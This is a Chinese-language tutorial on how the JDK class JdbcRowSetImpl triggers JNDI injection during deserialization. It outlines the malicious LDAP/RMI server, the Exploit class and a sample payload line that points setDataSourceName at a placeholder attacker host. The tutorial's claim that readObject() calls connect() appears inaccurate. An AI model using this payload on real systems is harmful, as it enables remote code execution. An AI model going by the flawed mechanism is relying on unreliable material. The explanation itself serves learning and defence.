JdbcRowSetImpl 如何触发的 JNDI 注入

1. 核心原理:setDataSourceName() 与 JNDI

com.sun.rowset.JdbcRowSetImpl 是一个 JDK 自带的类,它实现了 RowSet 接口。JdbcRowSetImpl 的一个核心功能就是通过 DataSource 来连接数据库

  • DataSourceDataSource 是一个标准的 Java 接口,用于获取数据库连接。它通常通过 JNDI来查找和绑定

  • setDataSourceName():当调用 JdbcRowSetImplsetDataSourceName() 方法时,它会设置一个 JNDI 查找名称

  • connect():当 JdbcRowSetImpl 尝试建立连接时,会调用 connect() 方法,这个方法会使用 InitialContext 类,对 setDataSourceName() 设置的名称进行 JNDI 查找

问题的关键在于:当 InitialContext 查找的 URL 指向一个远程的 RMI/LDAP 服务器时,它会自动下载并加载服务器上绑定的 Java 对象

2. 漏洞触发的完整过程

攻击者就是利用这一点,将恶意服务器的地址作为 DataSourceName,让目标服务器在反序列化时,主动去下载和执行恶意代码

  1. 攻击者搭建恶意服务

  2. 攻击者首先需要搭建一个恶意的 LDAP 或 RMI 服务器
  3. 在这个服务器上,攻击者会绑定一个恶意的 Java 对象。这个对象通常是一个Exploit.java文件,它包含了一个 static 静态代码块,可以在被加载时自动执行,例如执行 Runtime.exec() 命令
  4. 构造恶意 Payload

  5. 攻击者构造一个恶意的序列化 JdbcRowSetImpl 对象
  6. 在这个对象中,攻击者会利用反射等方法,将 DataSourceName 属性设置为恶意服务的地址
  7. 例如:new JdbcRowSetImpl().setDataSourceName("ldap://<攻击机IP>:<端口>/Exploit")
  8. 注意:这里的 ldap:// 是 JNDI 查找的协议,<攻击机IP> 是攻击者服务器的地址,Exploit 是攻击者在服务器上绑定的恶意对象名

  9. 发送 Payload

  10. 攻击者将这个序列化后的 JdbcRowSetImpl 对象发送给存在反序列化漏洞的目标应用程序
  11. 这个过程可以是通过 HTTP 请求、文件上传或其他方式
  12. 目标服务器反序列化

  13. 目标应用程序接收到数据后,对 JdbcRowSetImpl 对象进行反序列化
  14. 在反序列化过程中,JdbcRowSetImplreadObject() 方法被调用
  15. readObject() 方法会触发 connect() 方法的调用

  16. 触发 JNDI 注入

  17. connect() 方法会使用 InitialContext 对恶意地址 ldap://<攻击机IP>:<端口>/Exploit 进行 JNDI 查找

  18. 由于 java.naming.factory.initial 等配置,或者因为 JDK 版本过低,JVM 会无条件信任远程查找的结果
  19. JVM 会连接到攻击者的 LDAP 服务器,下载并加载 Exploit 这个恶意对象
  20. Exploit 对象被加载到内存时,其静态代码块会自动执行,从而执行攻击者预设的系统命令